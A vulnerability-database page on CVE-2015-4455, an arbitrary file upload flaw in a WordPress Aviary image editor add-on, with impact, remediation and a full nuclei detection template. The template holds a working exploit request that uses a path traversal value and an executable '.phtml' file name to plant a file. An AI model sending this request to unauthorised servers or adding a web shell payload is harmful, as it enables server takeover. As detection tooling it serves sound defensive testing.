HexBrain

Browse / CVEs / CVE-2015-4455

CVE-2015-4455· aviary image editor add-on for gravity forms project / aviary image editor add-on for gravity forms· CWE-434

WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload

criticalseverity
9.8CVSS score
40.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Unrestricted file upload vulnerability in includes/upload.php in the Aviary Image Editor Add-on For Gravity Forms plugin 3.0 beta for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/uploads/gform_aviary.

Impact

Remote attackers can upload malicious files and execute arbitrary code on the server, leading to full system compromise.

Fix

Implement strict file validation and sanitization, restrict upload types, and update to the latest plugin version.

How to confirm it

Send: GET /?gf_page=upload ; POST /?gf_page=upload
Positive when: contains(body_1, "Failed to upload file") and status_code_2 == 200 and contains(body_2, "uploaded_filename\":\"{{filename}}.jpg")

Run it with nuclei: nuclei -id CVE-2015-4455 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2015-4455

info:
  name: WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload
  author: MaStErChO
  severity: critical
  description: |
    Unrestricted file upload vulnerability in includes/upload.php in the Aviary Image Editor Add-on For Gravity Forms plugin 3.0 beta for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/uploads/gform_aviary.
  impact: |
    Remote attackers can upload malicious files and execute arbitrary code on the server, leading to full system compromise.
  remediation: |
    Implement strict file validation and sanitization, restrict upload types, and update to the latest plugin version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4455
    - http://packetstormsecurity.com/files/132256/WordPress-Aviary-Image-Editor-Add-On-For-Gravity-Forms-3.0-Beta-Shell-Upload.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2015-4455
    cwe-id: CWE-434
    epss-score: 0.40595
    epss-percentile: 0.98663
    cpe: cpe:2.3:a:aviary_image_editor_add-on_for_gravity_forms_project:aviary_image_editor_add-on_for_gravity_forms:*:beta:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "aviary_image_editor_add-on_for_gravity_forms_project"
    product: "aviary_image_editor_add-on_for_gravity_forms"
    framework: wordpress
  tags: cve,cve2015,packetstorm,intrusive,file-upload,wordpress,aviary_image_editor_add-on_for_gravity_forms_project,vkev,vuln
variables:
  filename: '{{rand_base(7, "abc")}}'

http:
  - raw:
      - |
        GET /?gf_page=upload HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /?gf_page=upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=a54906fe12c504cb01ca836d062f82fa

        --a54906fe12c504cb01ca836d062f82fa
        Content-Disposition: form-data; name="field_id"

        3
        --a54906fe12c504cb01ca836d062f82fa
        Content-Disposition: form-data; name="form_id"

        1
        --a54906fe12c504cb01ca836d062f82fa
        Content-Disposition: form-data; name="gform_unique_id"

        ../../../
        --a54906fe12c504cb01ca836d062f82fa
        Content-Disposition: form-data; name="name"

        {{filename}}.phtml
        --a54906fe12c504cb01ca836d062f82fa
        Content-Disposition: form-data; name="file"; filename="{{filename}}.jpg"
        Content-Type: text/html

        {{randstr}}
        --a54906fe12c504cb01ca836d062f82fa--

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "Failed to upload file")'
          - 'status_code_2 == 200'
          - 'contains(body_2, "uploaded_filename\":\"{{filename}}.jpg")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from